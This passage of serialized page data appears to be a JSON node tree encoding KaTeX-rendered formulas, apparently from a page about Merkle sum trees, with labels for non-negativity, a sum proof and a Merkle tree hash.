97229],{"type":22,"tag":101,"props":97225,"children":97227},{"className":97226},[8053,25575],[97228],{"type":27,"value":14657},{"type":22,"tag":101,"props":97230,"children":97232},{"className":97231},[8069],[97233],{"type":22,"tag":101,"props":97234,"children":97236},{"className":97235},[8074,25629],[97237,97266],{"type":22,"tag":101,"props":97238,"children":97240},{"className":97239},[8079],[97241,97261],{"type":22,"tag":101,"props":97242,"children":97244},{"className":97243,"style":97083},[8084],[97245],{"type":22,"tag":101,"props":97246,"children":97247},{"style":96610},[97248,97252],{"type":22,"tag":101,"props":97249,"children":97251},{"className":97250,"style":8094},[8093],[],{"type":22,"tag":101,"props":97253,"children":97255},{"className":97254},[8099,8100,8101,8102],[97256],{"type":22,"tag":101,"props":97257,"children":97259},{"className":97258},[8053,25575,8102],[97260],{"type":27,"value":7774},{"type":22,"tag":101,"props":97262,"children":97264},{"className":97263},[25732],[97265],{"type":27,"value":25735},{"type":22,"tag":101,"props":97267,"children":97269},{"className":97268},[8079],[97270],{"type":22,"tag":101,"props":97271,"children":97273},{"className":97272,"style":96637},[8084],[97274],{"type":22,"tag":101,"props":97275,"children":97276},{},[],{"type":22,"tag":101,"props":97278,"children":97280},{"className":97279},[25704],[97281],{"type":27,"value":2414},{"type":22,"tag":101,"props":97283,"children":97285},{"className":97284},[8053,25575],[97286],{"type":27,"value":80},{"type":22,"tag":101,"props":97288,"children":97290},{"className":97289},[8053,25575],[97291],{"type":27,"value":96545},{"type":22,"tag":101,"props":97293,"children":97295},{"className":97294},[8053,25575],[97296],{"type":27,"value":25717},{"type":22,"tag":101,"props":97298,"children":97300},{"className":97299,"style":96554},[8053],[97301],{"type":27,"value":6382},{"type":22,"tag":101,"props":97303,"children":97305},{"className":97304},[8053,25575],[97306],{"type":27,"value":60400},{"type":22,"tag":101,"props":97308,"children":97310},{"className":97309},[8053,25575],[97311],{"type":27,"value":96813},{"type":22,"tag":101,"props":97313,"children":97315},{"className":97314},[8053,25575],[97316],{"type":27,"value":55129},{"type":22,"tag":101,"props":97318,"children":97320},{"className":97319},[25726],[97321],{"type":27,"value":19412},{"type":22,"tag":101,"props":97323,"children":97325},{"className":97324,"style":8134},[8133],[],{"type":22,"tag":101,"props":97327,"children":97329},{"className":97328},[8139],[97330],{"type":27,"value":8142},{"type":22,"tag":101,"props":97332,"children":97334},{"className":97333,"style":8134},[8133],[],{"type":22,"tag":101,"props":97336,"children":97338},{"className":97337},[8042],[97339,97343,97348,97353,97358,97363,97368,97374,97379,97385,97390,97395,97400,97405,97410,97415,97420,97425],{"type":22,"tag":101,"props":97340,"children":97342},{"className":97341,"style":96496},[8047],[],{"type":22,"tag":101,"props":97344,"children":97346},{"className":97345},[8053,25575],[97347],{"type":27,"value":80},{"type":22,"tag":101,"props":97349,"children":97351},{"className":97350},[8053,25575],[97352],{"type":27,"value":96545},{"type":22,"tag":101,"props":97354,"children":97356},{"className":97355},[8053,25575],[97357],{"type":27,"value":25717},{"type":22,"tag":101,"props":97359,"children":97361},{"className":97360,"style":96554},[8053],[97362],{"type":27,"value":6382},{"type":22,"tag":101,"props":97364,"children":97366},{"className":97365},[8053,25575],[97367],{"type":27,"value":23},{"type":22,"tag":101,"props":97369,"children":97371},{"className":97370,"style":96554},[8053,25575],[97372],{"type":27,"value":97373},"r",{"type":22,"tag":101,"props":97375,"children":97377},{"className":97376},[8053,25575],[97378],{"type":27,"value":7774},{"type":22,"tag":101,"props":97380,"children":97382},{"className":97381},[8053,25575],[97383],{"type":27,"value":97384},"ces",{"type":22,"tag":101,"props":97386,"children":97388},{"className":97387},[25704],[97389],{"type":27,"value":2414},{"type":22,"tag":101,"props":97391,"children":97393},{"className":97392},[8053,25575],[97394],{"type":27,"value":80},{"type":22,"tag":101,"props":97396,"children":97398},{"className":97397},[8053,25575],[97399],{"type":27,"value":96545},{"type":22,"tag":101,"props":97401,"children":97403},{"className":97402},[8053,25575],[97404],{"type":27,"value":25717},{"type":22,"tag":101,"props":97406,"children":97408},{"className":97407,"style":96554},[8053],[97409],{"type":27,"value":6382},{"type":22,"tag":101,"props":97411,"children":97413},{"className":97412},[8053,25575],[97414],{"type":27,"value":60400},{"type":22,"tag":101,"props":97416,"children":97418},{"className":97417},[8053,25575],[97419],{"type":27,"value":96813},{"type":22,"tag":101,"props":97421,"children":97423},{"className":97422},[8053,25575],[97424],{"type":27,"value":55129},{"type":22,"tag":101,"props":97426,"children":97428},{"className":97427},[25726],[97429],{"type":27,"value":19412},{"type":22,"tag":6832,"props":97431,"children":97432},{},[97433,97592,97593],{"type":22,"tag":30,"props":97434,"children":97436},{"className":97435},[8026,8027],[97437],{"type":22,"tag":101,"props":97438,"children":97440},{"className":97439},[8032],[97441],{"type":22,"tag":101,"props":97442,"children":97444},{"className":97443,"ariaHidden":5608},[8037],[97445,97578],{"type":22,"tag":101,"props":97446,"children":97448},{"className":97447},[8042],[97449,97453,97458,97463,97468,97473,97478,97483,97488,97493,97498,97503,97508,97565,97569,97574],{"type":22,"tag":101,"props":97450,"children":97452},{"className":97451,"style":96999},[8047],[],{"type":22,"tag":101,"props":97454,"children":97456},{"className":97455},[8053,25575],[97457],{"type":27,"value":80},{"type":22,"tag":101,"props":97459,"children":97461},{"className":97460},[8053,25575],[97462],{"type":27,"value":97011},{"type":22,"tag":101,"props":97464,"children":97466},{"className":97465},[8053,25575],[97467],{"type":27,"value":96813},{"type":22,"tag":101,"props":97469,"children":97471},{"className":97470},[8053,25575],[97472],{"type":27,"value":60400},{"type":22,"tag":101,"props":97474,"children":97476},{"className":97475},[8053,25575],[97477],{"type":27,"value":25717},{"type":22,"tag":101,"props":97479,"children":97481},{"className":97480,"style":96554},[8053],[97482],{"type":27,"value":6382},{"type":22,"tag":101,"props":97484,"children":97486},{"className":97485},[8053,25575],[97487],{"type":27,"value":55450},{"type":22,"tag":101,"props":97489,"children":97491},{"className":97490,"style":97040},[8053,25575],[97492],{"type":27,"value":97043},{"type":22,"tag":101,"props":97494,"children":97496},{"className":97495},[8053,25575],[97497],{"type":27,"value":96813},{"type":22,"tag":101,"props":97499,"children":97501},{"className":97500},[8053,25575],[97502],{"type":27,"value":7774},{"type":22,"tag":101,"props":97504,"children":97506},{"className":97505},[8053,25575],[97507],{"type":27,"value":25717},{"type":22,"tag":101,"props":97509,"children":97511},{"className":97510},[8053],[97512,97517],{"type":22,"tag":101,"props":97513,"children":97515},{"className":97514,"style":97040},[8053,25575],[97516],{"type":27,"value":7155},{"type":22,"tag":101,"props":97518,"children":97520},{"className":97519},[8069],[97521],{"type":22,"tag":101,"props":97522,"children":97524},{"className":97523},[8074,25629],[97525,97554],{"type":22,"tag":101,"props":97526,"children":97528},{"className":97527},[8079],[97529,97549],{"type":22,"tag":101,"props":97530,"children":97532},{"className":97531,"style":97083},[8084],[97533],{"type":22,"tag":101,"props":97534,"children":97535},{"style":97087},[97536,97540],{"type":22,"tag":101,"props":97537,"children":97539},{"className":97538,"style":8094},[8093],[],{"type":22,"tag":101,"props":97541,"children":97543},{"className":97542},[8099,8100,8101,8102],[97544],{"type":22,"tag":101,"props":97545,"children":97547},{"className":97546},[8053,25575,8102],[97548],{"type":27,"value":7774},{"type":22,"tag":101,"props":97550,"children":97552},{"className":97551},[25732],[97553],{"type":27,"value":25735},{"type":22,"tag":101,"props":97555,"children":97557},{"className":97556},[8079],[97558],{"type":22,"tag":101,"props":97559,"children":97561},{"className":97560,"style":96637},[8084],[97562],{"type":22,"tag":101,"props":97563,"children":97564},{},[],{"type":22,"tag":101,"props":97566,"children":97568},{"className":97567,"style":8231},[8133],[],{"type":22,"tag":101,"props":97570,"children":97572},{"className":97571},[8236],[97573],{"type":27,"value":13949},{"type":22,"tag":101,"props":97575,"children":97577},{"className":97576,"style":8231},[8133],[],{"type":22,"tag":101,"props":97579,"children":97581},{"className":97580},[8042],[97582,97587],{"type":22,"tag":101,"props":97583,"children":97586},{"className":97584,"style":97585},[8047],"height:0.6444em;",[],{"type":22,"tag":101,"props":97588,"children":97590},{"className":97589},[8053],[97591],{"type":27,"value":8065},{"type":27,"value":2169},{"type":22,"tag":9370,"props":97594,"children":97595},{},[97596],{"type":27,"value":97597},"(non-negativity)",{"type":22,"tag":6832,"props":97599,"children":97600},{},[97601,97939,97940],{"type":22,"tag":30,"props":97602,"children":97604},{"className":97603},[8026,8027],[97605],{"type":22,"tag":101,"props":97606,"children":97608},{"className":97607},[8032],[97609],{"type":22,"tag":101,"props":97610,"children":97612},{"className":97611,"ariaHidden":5608},[8037],[97613,97749],{"type":22,"tag":101,"props":97614,"children":97616},{"className":97615},[8042],[97617,97621,97626,97631,97636,97641,97646,97651,97656,97661,97666,97671,97676,97681,97686,97691,97696,97701,97706,97711,97716,97721,97726,97731,97736,97740,97745],{"type":22,"tag":101,"props":97618,"children":97620},{"className":97619,"style":96496},[8047],[],{"type":22,"tag":101,"props":97622,"children":97624},{"className":97623},[8053,25575],[97625],{"type":27,"value":25717},{"type":22,"tag":101,"props":97627,"children":97629},{"className":97628},[8053,25575],[97630],{"type":27,"value":96524},{"type":22,"tag":101,"props":97632,"children":97634},{"className":97633},[8053,25575],[97635],{"type":27,"value":25717},{"type":22,"tag":101,"props":97637,"children":97639},{"className":97638},[8053,25575],[97640],{"type":27,"value":80},{"type":22,"tag":101,"props":97642,"children":97644},{"className":97643,"style":96566},[8053,25575],[97645],{"type":27,"value":96569},{"type":22,"tag":101,"props":97647,"children":97649},{"className":97648,"style":96554},[8053],[97650],{"type":27,"value":6382},{"type":22,"tag":101,"props":97652,"children":97654},{"className":97653},[8053,25575],[97655],{"type":27,"value":80},{"type":22,"tag":101,"props":97657,"children":97659},{"className":97658},[8053,25575],[97660],{"type":27,"value":96545},{"type":22,"tag":101,"props":97662,"children":97664},{"className":97663},[8053,25575],[97665],{"type":27,"value":25717},{"type":22,"tag":101,"props":97667,"children":97669},{"className":97668,"style":96554},[8053],[97670],{"type":27,"value":6382},{"type":22,"tag":101,"props":97672,"children":97674},{"className":97673},[8053,25575],[97675],{"type":27,"value":96562},{"type":22,"tag":101,"props":97677,"children":97679},{"className":97678,"style":96566},[8053,25575],[97680],{"type":27,"value":96569},{"type":22,"tag":101,"props":97682,"children":97684},{"className":97683},[8053,25575],[97685],{"type":27,"value":96575},{"type":22,"tag":101,"props":97687,"children":97689},{"className":97688},[8053,25575],[97690],{"type":27,"value":96581},{"type":22,"tag":101,"props":97692,"children":97694},{"className":97693},[25704],[97695],{"type":27,"value":2414},{"type":22,"tag":101,"props":97697,"children":97699},{"className":97698},[8053,25575],[97700],{"type":27,"value":80},{"type":22,"tag":101,"props":97702,"children":97704},{"className":97703},[8053,25575],[97705],{"type":27,"value":96545},{"type":22,"tag":101,"props":97707,"children":97709},{"className":97708},[8053,25575],[97710],{"type":27,"value":25717},{"type":22,"tag":101,"props":97712,"children":97714},{"className":97713,"style":96554},[8053],[97715],{"type":27,"value":6382},{"type":22,"tag":101,"props":97717,"children":97719},{"className":97718},[8053,25575],[97720],{"type":27,"value":60400},{"type":22,"tag":101,"props":97722,"children":97724},{"className":97723},[8053,25575],[97725],{"type":27,"value":96813},{"type":22,"tag":101,"props":97727,"children":97729},{"className":97728},[8053,25575],[97730],{"type":27,"value":55129},{"type":22,"tag":101,"props":97732,"children":97734},{"className":97733},[25726],[97735],{"type":27,"value":19412},{"type":22,"tag":101,"props":97737,"children":97739},{"className":97738,"style":8231},[8133],[],{"type":22,"tag":101,"props":97741,"children":97743},{"className":97742},[8236],[97744],{"type":27,"value":4340},{"type":22,"tag":101,"props":97746,"children":97748},{"className":97747,"style":8231},[8133],[],{"type":22,"tag":101,"props":97750,"children":97752},{"className":97751},[8042],[97753,97757,97762,97767,97772,97777,97782,97787,97792,97797,97802,97807,97812,97817,97822,97827,97832,97837,97894,97899,97904,97909,97914,97919,97924,97929,97934],{"type":22,"tag":101,"props":97754,"children":97756},{"className":97755,"style":96496},[8047],[],{"type":22,"tag":101,"props":97758,"children":97760},{"className":97759},[8053],[97761],{"type":27,"value":97144},{"type":22,"tag":101,"props":97763,"children":97765},{"className":97764},[8133],[97766],{"type":27,"value":25676},{"type":22,"tag":101,"props":97768,"children":97770},{"className":97769},[8053,25575],[97771],{"type":27,"value":80},{"type":22,"tag":101,"props":97773,"children":97775},{"className":97774},[8053,25575],[97776],{"type":27,"value":97011},{"type":22,"tag":101,"props":97778,"children":97780},{"className":97779},[8053,25575],[97781],{"type":27,"value":96813},{"type":22,"tag":101,"props":97783,"children":97785},{"className":97784},[8053,25575],[97786],{"type":27,"value":60400},{"type":22,"tag":101,"props":97788,"children":97790},{"className":97789},[8053,25575],[97791],{"type":27,"value":25717},{"type":22,"tag":101,"props":97793,"children":97795},{"className":97794,"style":96554},[8053],[97796],{"type":27,"value":6382},{"type":22,"tag":101,"props":97798,"children":97800},{"className":97799},[8053,25575],[97801],{"type":27,"value":80},{"type":22,"tag":101,"props":97803,"children":97805},{"className":97804},[8053,25575],[97806],{"type":27,"value":96545},{"type":22,"tag":101,"props":97808,"children":97810},{"className":97809},[8053,25575],[97811],{"type":27,"value":25717},{"type":22,"tag":101,"props":97813,"children":97815},{"className":97814,"style":96554},[8053],[97816],{"type":27,"value":6382},{"type":22,"tag":101,"props":97818,"children":97820},{"className":97819},[8053,25575],[97821],{"type":27,"value":96562},{"type":22,"tag":101,"props":97823,"children":97825},{"className":97824,"style":96566},[8053,25575],[97826],{"type":27,"value":96569},{"type":22,"tag":101,"props":97828,"children":97830},{"className":97829},[8053,25575],[97831],{"type":27,"value":96575},{"type":22,"tag":101,"props":97833,"children":97835},{"className":97834},[8053,25575],[97836],{"type":27,"value":96581},{"type":22,"tag":101,"props":97838,"children":97840},{"className":97839},[8053],[97841,97846],{"type":22,"tag":101,"props":97842,"children":97844},{"className":97843},[8053,25575],[97845],{"type":27,"value":14657},{"type":22,"tag":101,"props":97847,"children":97849},{"className":97848},[8069],[97850],{"type":22,"tag":101,"props":97851,"children":97853},{"className":97852},[8074,25629],[97854,97883],{"type":22,"tag":101,"props":97855,"children":97857},{"className":97856},[8079],[97858,97878],{"type":22,"tag":101,"props":97859,"children":97861},{"className":97860,"style":97083},[8084],[97862],{"type":22,"tag":101,"props":97863,"children":97864},{"style":96610},[97865,97869],{"type":22,"tag":101,"props":97866,"children":97868},{"className":97867,"style":8094},[8093],[],{"type":22,"tag":101,"props":97870,"children":97872},{"className":97871},[8099,8100,8101,8102],[97873],{"type":22,"tag":101,"props":97874,"children":97876},{"className":97875},[8053,25575,8102],[97877],{"type":27,"value":7774},{"type":22,"tag":101,"props":97879,"children":97881},{"className":97880},[25732],[97882],{"type":27,"value":25735},{"type":22,"tag":101,"props":97884,"children":97886},{"className":97885},[8079],[97887],{"type":22,"tag":101,"props":97888,"children":97890},{"className":97889,"style":96637},[8084],[97891],{"type":22,"tag":101,"props":97892,"children":97893},{},[],{"type":22,"tag":101,"props":97895,"children":97897},{"className":97896},[25704],[97898],{"type":27,"value":2414},{"type":22,"tag":101,"props":97900,"children":97902},{"className":97901},[8053,25575],[97903],{"type":27,"value":80},{"type":22,"tag":101,"props":97905,"children":97907},{"className":97906},[8053,25575],[97908],{"type":27,"value":96545},{"type":22,"tag":101,"props":97910,"children":97912},{"className":97911},[8053,25575],[97913],{"type":27,"value":25717},{"type":22,"tag":101,"props":97915,"children":97917},{"className":97916,"style":96554},[8053],[97918],{"type":27,"value":6382},{"type":22,"tag":101,"props":97920,"children":97922},{"className":97921},[8053,25575],[97923],{"type":27,"value":60400},{"type":22,"tag":101,"props":97925,"children":97927},{"className":97926},[8053,25575],[97928],{"type":27,"value":96813},{"type":22,"tag":101,"props":97930,"children":97932},{"className":97931},[8053,25575],[97933],{"type":27,"value":55129},{"type":22,"tag":101,"props":97935,"children":97937},{"className":97936},[25726],[97938],{"type":27,"value":19412},{"type":27,"value":2169},{"type":22,"tag":9370,"props":97941,"children":97942},{},[97943],{"type":27,"value":97944},"(sum proof)",{"type":22,"tag":6832,"props":97946,"children":97947},{},[97948,98337,98338],{"type":22,"tag":30,"props":97949,"children":97951},{"className":97950},[8026,8027],[97952],{"type":22,"tag":101,"props":97953,"children":97955},{"className":97954},[8032],[97956],{"type":22,"tag":101,"props":97957,"children":97959},{"className":97958,"ariaHidden":5608},[8037],[97960,98046],{"type":22,"tag":101,"props":97961,"children":97963},{"className":97962},[8042],[97964,97969,97974,97980,97986,97991,97996,98001,98006,98012,98017,98023,98028,98033,98037,98042],{"type":22,"tag":101,"props":97965,"children":97968},{"className":97966,"style":97967},[8047],"height:1.0044em;vertical-align:-0.31em;",[],{"type":22,"tag":101,"props":97970,"children":97972},{"className":97971},[8053,25575],[97973],{"type":27,"value":55129},{"type":22,"tag":101,"props":97975,"children":97977},{"className":97976,"style":96554},[8053,25575],[97978],{"type":27,"value":97979},"er",{"type":22,"tag":101,"props":97981,"children":97984},{"className":97982,"style":97983},[8053,25575],"margin-right:0.03148em;",[97985],{"type":27,"value":92191},{"type":22,"tag":101,"props":97987,"children":97989},{"className":97988,"style":96566},[8053,25575],[97990],{"type":27,"value":96569},{"type":22,"tag":101,"props":97992,"children":97994},{"className":97993},[8053,25575],[97995],{"type":27,"value":55450},{"type":22,"tag":101,"props":97997,"children":97999},{"className":97998,"style":96554},[8053],[98000],{"type":27,"value":6382},{"type":22,"tag":101,"props":98002,"children":98004},{"className":98003},[8053,25575],[98005],{"type":27,"value":25717},{"type":22,"tag":101,"props":98007,"children":98009},{"className":98008},[8053,25575],[98010],{"type":27,"value":98011},"ree",{"type":22,"tag":101,"props":98013,"children":98015},{"className":98014,"style":96554},[8053],[98016],{"type":27,"value":6382},{"type":22,"tag":101,"props":98018,"children":98020},{"className":98019},[8053,25575],[98021],{"type":27,"value":98022},"ha",{"type":22,"tag":101,"props":98024,"children":98026},{"className":98025},[8053,25575],[98027],{"type":27,"value":14657},{"type":22,"tag":101,"props":98029,"children":98031},{"className":98030},[8053,25575],[98032],{"type":27,"value":87852},{"type":22,"tag":101,"props":98034,"children":98036},{"className":98035,"style":8231},[8133],[],{"type":22,"tag":101,"props":98038,"children":98040},{"className":98039},[8236],[98041],{"type":27,"value":4340},{"type":22,"tag":101,"props":98043,"children":98045},{"className":98044,"style":8231},[8133],[],{"type":22,"tag":101,"props":98047,"children":98049},{"className":98048},[8042],[98050,98054,98059,98064,98069,98074,98079,98084,98089,98094,98099,98156,98161,98165,98170,98175,98232,98237,98242,98246,98251,98256,98260,98265,98270,98332],{"type":22,"tag":101,"props":98051,"children":98053},{"className":98052,"style":8154},[8047],[],{"type":22,"tag":101,"props":98055,"children":98057},{"className":98056,"style":25576},[8053,25575],[98058],{"type":27,"value":25579},{"type":22,"tag":101,"props":98060,"children":98062},{"className":98061},[8053,25575],[98063],{"type":27,"value":96508},{"type":22,"tag":101,"props":98065,"children":98067},{"className":98066},[8053,25575],[98068],{"type":27,"value":7774},{"type":22,"tag":101,"props":98070,"children":98072},{"className":98071},[8053,25575],[98073],{"type":27,"value":74069},{"type":22,"tag":101,"props":98075,"children":98077},{"className":98076},[8053,25575],[98078],{"type":27,"value":96524},{"type":22,"tag":101,"props":98080,"children":98082},{"className":98081},[8053,25575],[98083],{"type":27,"value":60400},{"type":22,"tag":101,"props":98085,"children":98087},{"className":98086},[25704],[98088],{"type":27,"value":980},{"type":22,"tag":101,"props":98090,"children":98092},{"className":98091},[8053,25575],[98093],{"type":27,"value":98022},{"type":22,"tag":101,"props":98095,"children":98097},{"className":98096},[8053,25575],[98098],{"type":27,"value":14657},{"type":22,"tag":101,"props":98100,"children":98102},{"className":98101},[8053],[98103,98108],{"type":22,"tag":101,"props":98104,"children":98106},{"className":98105},[8053,25575],[98107],{"type":27,"value":87852},{"type":22,"tag":101,"props":98109,"children":98111},{"className":98110},[8069],[98112],{"type":22,"tag":101,"props":98113,"children":98115},{"className":98114},[8074,25629],[98116,98145],{"type":22,"tag":101,"props":98117,"children":98119},{"className":98118},[8079],[98120,98140],{"type":22,"tag":101,"props":98121,"children":98123},{"className":98122,"style":96606},[8084],[98124],{"type":22,"tag":101,"props":98125,"children":98126},{"style":96610},[98127,98131],{"type":22,"tag":101,"props":98128,"children":98130},{"className":98129,"style":8094},[8093],[],{"type":22,"tag":101,"props":98132,"children":98134},{"className":98133},[8099,8100,8101,8102],[98135],{"type":22,"tag":101,"props":98136,"children":98138},{"className":98137},[8053,8102],[98139],{"type":27,"value":8065},{"type":22,"tag":101,"props":98141,"children":98143},{"className":98142},[25732],[98144],{"type":27,"value":25735},{"type":22,"tag":101,"props":98146,"children":98148},{"className":98147},[8079],[98149],{"type":22,"tag":101,"props":98150,"children":98152},{"className":98151,"style":96637},[8084],[98153],{"type":22,"tag":101,"props":98154,"children":98155},{},[],{"type":22,"tag":101,"props":98157,"children":98159},{"className":98158},[8165],[98160],{"type":27,"value":8168},{"type":22,"tag":101,"props":98162,"children":98164},{"className":98163,"style":8172},[8133],[],{"type":22,"tag":101,"props":98166,"children":98168},{"className":98167},[8053,25575],[98169],{"type":27,"value":98022},{"type":22,"tag":101,"props":98171,"children":98173},{"className":98172},[8053,25575],[98174],{"type":27,"value":14657},{"type":22,"tag":101,"props":98176,"children":98178},{"className":98177},[8053],[98179,98184],{"type":22,"tag":101,"props":98180,"children":98182},{"className":98181},[8053,25575],[98183],{"type":27,"value":87852},{"type":22,"tag":101,"props":98185,"children":98187},{"className":98186},[8069],[98188],{"type":22,"tag":101,"props":98189,"children":98191},{"className":98190},[8074,25629],[98192,98221],{"type":22,"tag":101,"props":98193,"children":98195},{"className":98194},[8079],[98196,98216],{"type":22,"tag":101,"props":98197,"children":98199},{"className":98198,"style":96606},[8084],[98200],{"type":22,"tag":101,"props":98201,"children":98202},{"style":96610},[98203,98207],{"type":22,"tag":101,"props":98204,"children":98206},{"className":98205,"style":8094},[8093],[],{"type":22,"tag":101,"props":98208,"children":98210},{"className":98209},[8099,8100,8101,8102],[98211],{"type":22,"tag":101,"props":98212,"children":98214},{"className":98213},[8053,8102],[98215],{"type":27,"value":6813},{"type":22,"tag":101,"props":98217,"children":98219},{"className":98218},[25732],[98220],{"type":27,"value":25735},{"type":22,"tag":101,"props":98222,"children":98224},{"className":98223},[8079],[98225],{"type":22,"tag":101,"props":98226,"children":98228},{"className":98227,"style":96637},[8084],[98229],{"type":22,"tag":101,"props":98230,"children":98231},{},[],{"type":22,"tag":101,"props":98233,"children":98235},{"className":98234},[8165],[98236],{"type":27,"value":8168},{"type":22,"tag":101,"props":98238,"children":98240},{"className":98239},[8133],[98241],{"type":27,"value":25676},{"type":22,"tag":101,"props":98243,"children":98245},{"className":98244,"style":8172},[8133],[],{"type":22,"tag":101,"props":98247,"children":98249},{"className":98248},[8053],[98250],{"type":27,"value":614},{"type":22,"tag":101,"props":98252,"children":98254},{"className":98253},[8165],[98255],{"type":27,"value":8168},{"type":22,"tag":101,"props":98257,"children":98259},{"className":98258,"style":8172},[8133],[],{"type":22,"tag":101,"props":98261,"children":98263},{"className":98262},[8053,25575],[98264],{"type":27,"value":98022},{"type":22,"tag":101,"props":98266,"children":98268},{"className":98267},[8053,25575],[98269],{"type":27,"value":14657},{"type":22,"tag":101,"props":98271,"children":98273},{"className":98272},[8053],[98274,98279],{"type":22,"tag":101,"props":98275,"children":98277},{"className":98276},[8053,25575],[98278],{"type":27,"value":87852},{"type":22,"tag":101,"props":98280,"children":98282},{"className":98281},[8069],[98283],{"type":22,"tag":101,"props":98284,"children":98286},{"className":98285},[8074,25629],[98287,98321],{"type":22,"tag":101,"props":98288,"children":98290},{"className":98289},[8079],[98291,98316],{"type":22,"tag":101,"props":98292,"children":98294},{"className":98293,"style":96606},[8084],[98295],{"type":22,"tag":101,"props":98296,"children":98297},{"style":96610},[98298,98302],{"type":22,"tag":101,"props":98299,"children":98301},{"className":98300,"style":8094},[8093],[],{"type":22,"tag":101,"props":98303,"children":98305},{"className":98304},[8099,8100,8101,8102],[98306],{"type":22,"tag":101,"props":98307,"children":98309},{"className":98308},[8053,8102],[98310],{"type":22,"tag":101,"props":98311,"children":98313},{"className":98312},[8053,8102],[98314],{"type":27,"value":98315},"511",{"type":22,"tag":101,"props":98317,"children":98319},{"className":98318},[25732],[98320],{"type":27,"value":25735},{"type":22,"tag":101,"props":98322,"children":98324},{"className":98323},[8079],[98325],{"type":22,"tag":101,"props":98326,"children":98328},{"className":98327,"style":96637},[8084],[98329],{"type":22,"tag":101,"props":98330,"children":98331},{},[],{"type":22,"tag":101,"props":98333,"children":98335},{"className":98334},[25726],[98336],{"type":27,"value":2261},{"type":27,"value":2169},{"type":22,"tag":9370,"props":98339,"children":98340},{},[98341],{"type":27,"value":98342},"(merkle tree hash)",{"type":22,"tag":6832,"props":98344,"children":98345},{},[98346,98621,98622,98627,98629,98634],{"type":22,"tag":30,"props":98347,"children":98349},{"className":98348},[8026,8027],[98350],{"type":22,"tag":101,"props":98351,"children":98353},{"className":98352},[8032],[98354],{"type":22,"tag":101,"props":98355,"children":98357},{"className":98356,"ariaHidden":5608},[8037],[98358,98551],{"type":22,"tag":101,"props":98359,"children":98361},{"className":98360},[8042],[98362,98366,98371,98376,98381,98386,98391,98396,98401,98406,98411,98416,98421,98426,98431,98436,98493,98498,98503,98508,98513,98518,98523,98528,98533,98538,98542,98547],{"type":22,"tag":101,"props":98363,"children":98365},{"className":98364,"style":96496},[8047],[],{"type":22,"tag":101,"props":98367,"children":98369},{"className":98368},[8053,25575],[98370],{"type":27,"value":80},{"type":22,"tag":101,"props":98372,"children":98374},{"className":98373},[8053,25575],[98375],{"type":27,"value":97011},{"type":22,"tag":101,"props":98377,"children":98379},{"className":98378},[8053,25575],[98380],{"type":27,"value":96813},{"type":22,"tag":101,"props":98382,"children":98384},{"className":98383},[8053,25575],[98385],{"type":27,"value":60400},{"type":22,"tag":101,"props":98387,"children":98389},{"className":98388},[8053,25575],[98390],{"type":27,"value":25717},{"type":22,"tag":101,"props":98392,"children":98394},{"className":98393,"style":96554},[8053],[98395],{"type":27,"value":6382},{"type":22,"tag":101,"props":98397,"children":98399},{"className":98398},[8053,25575],[98400],{"type":27,"value":80},{"type":22,"tag":101,"props":98402,"children":98404},{"className":98403},[8053,25575],[98405],{"type":27,"value":96545},{"type":22,"tag":101,"props":98407,"children":98409},{"className":98408},[8053,25575],[98410],{"type":27,"value":25717},{"type":22,"tag":101,"props":98412,"children":98414},{"className":98413,"style":96554},[8053],[98415],{"type":27,"value":6382},{"type":22,"tag":101,"props":98417,"children":98419},{"className":98418},[8053,25575],[98420],{"type":27,"value":96562},{"type":22,"tag":101,"props":98422,"children":98424},{"className":98423,"style":96566},[8053,25575],[98425],{"type":27,"value":96569},{"type":22,"tag":101,"props":98427,"children":98429},{"className":98428},[8053,25575],[98430],{"type":27,"value":96575},{"type":22,"tag":101,"props":98432,"children":98434},{"className":98433},[8053,25575],[98435],{"type":27,"value":96581},{"type":22,"tag":101,"props":98437,"children":98439},{"className":98438},[8053],[98440,98445],{"type":22,"tag":101,"props":98441,"children":98443},{"className":98442},[8053,25575],[98444],{"type":27,"value":14657},{"type":22,"tag":101,"props":98446,"children":98448},{"className":98447},[8069],[98449],{"type":22,"tag":101,"props":98450,"children":98452},{"className":98451},[8074,25629],[98453,98482],{"type":22,"tag":101,"props":98454,"children":98456},{"className":98455},[8079],[98457,98477],{"type":22,"tag":101,"props":98458,"children":98460},{"className":98459,"style":97083},[8084],[98461],{"type":22,"tag":101,"props":98462,"children":98463},{"style":96610},[98464,98468],{"type":22,"tag":101,"props":98465,"children":98467},{"className":98466,"style":8094},[8093],[],{"type":22,"tag":101,"props":98469,"children":98471},{"className":98470},[8099,8100,8101,8102],[98472],{"type":22,"tag":101,"props":98473,"children":98475},{"className":98474},[8053,25575,8102],[98476],{"type":27,"value":7774},{"type":22,"tag":101,"props":98478,"children":98480},{"className":98479},[25732],[98481],{"type":27,"value":25735},{"type":22,"tag":101,"props":98483,"children":98485},{"className":98484},[8079],[98486],{"type":22,"tag":101,"props":98487,"children":98489},{"className":98488,"style":96637},[8084],[98490],{"type":22,"tag":101,"props":98491,"children":98492},{},[],{"type":22,"tag":101,"props":98494,"children":98496},{"className":98495},[25704],[98497],{"type":27,"value":2414},{"type":22,"tag":101,"props":98499,"children":98501},{"className":98500},[8053,25575],[98502],{"type":27,"value":80},{"type":22,"tag":101,"props":98504,"children":98506},{"className":98505},[8053,25575],[98507],{"type":27,"value":96545},{"type":22,"tag":101,"props":98509,"children":98511},{"className":98510},[8053,25575],[98512],{"type":27,"value":25717},{"type":22,"tag":101,"props":98514,"children":98516},{"className":98515,"style":96554},[8053],[98517],{"type":27,"value":6382},{"type":22,"tag":101,"props":98519,"children":98521},{"className":98520},[8053,25575],[98522],{"type":27,"value":60400},{"type":22,"tag":101,"props":98524,"children":98526},{"className":98525},[8053,25575],[98527],{"type":27,"value":96813},{"type":22,"tag":101,"props":98529,"children":98531},{"className":98530},[8053,25575],[98532],{"type":27,"value":55129},{"type":22,"tag":101,"props":98534,"children":98536},{"className":98535},[25726],[98537],{"type":27,"value":19412},{"type":22,"tag":101,"props":98539,"children":98541},{"className":98540,"style":8231},[8133],[],{"type":22,"tag":101,"props":98543,"children":98545},{"className":98544},[8236],[98546],{"type":27,"value":123},{"type":22,"tag":101,"props":98548,"children":98550},{"className":98549,"style":8231},[8133],[],{"type":22,"tag":101,"props":98552,"children":98554},{"className":98553},[8042],[98555,98559,98566,98571,98577,98582,98587,98592,98598,98603,98609,98615],{"type":22,"tag":101,"props":98556,"children":98558},{"className":98557,"style":96496},[8047],[],{"type":22,"tag":101,"props":98560,"children":98563},{"className":98561,"style":98562},[8053,25575],"margin-right:0.10903em;",[98564],{"type":27,"value":98565},"M",{"type":22,"tag":101,"props":98567,"children":98569},{"className":98568}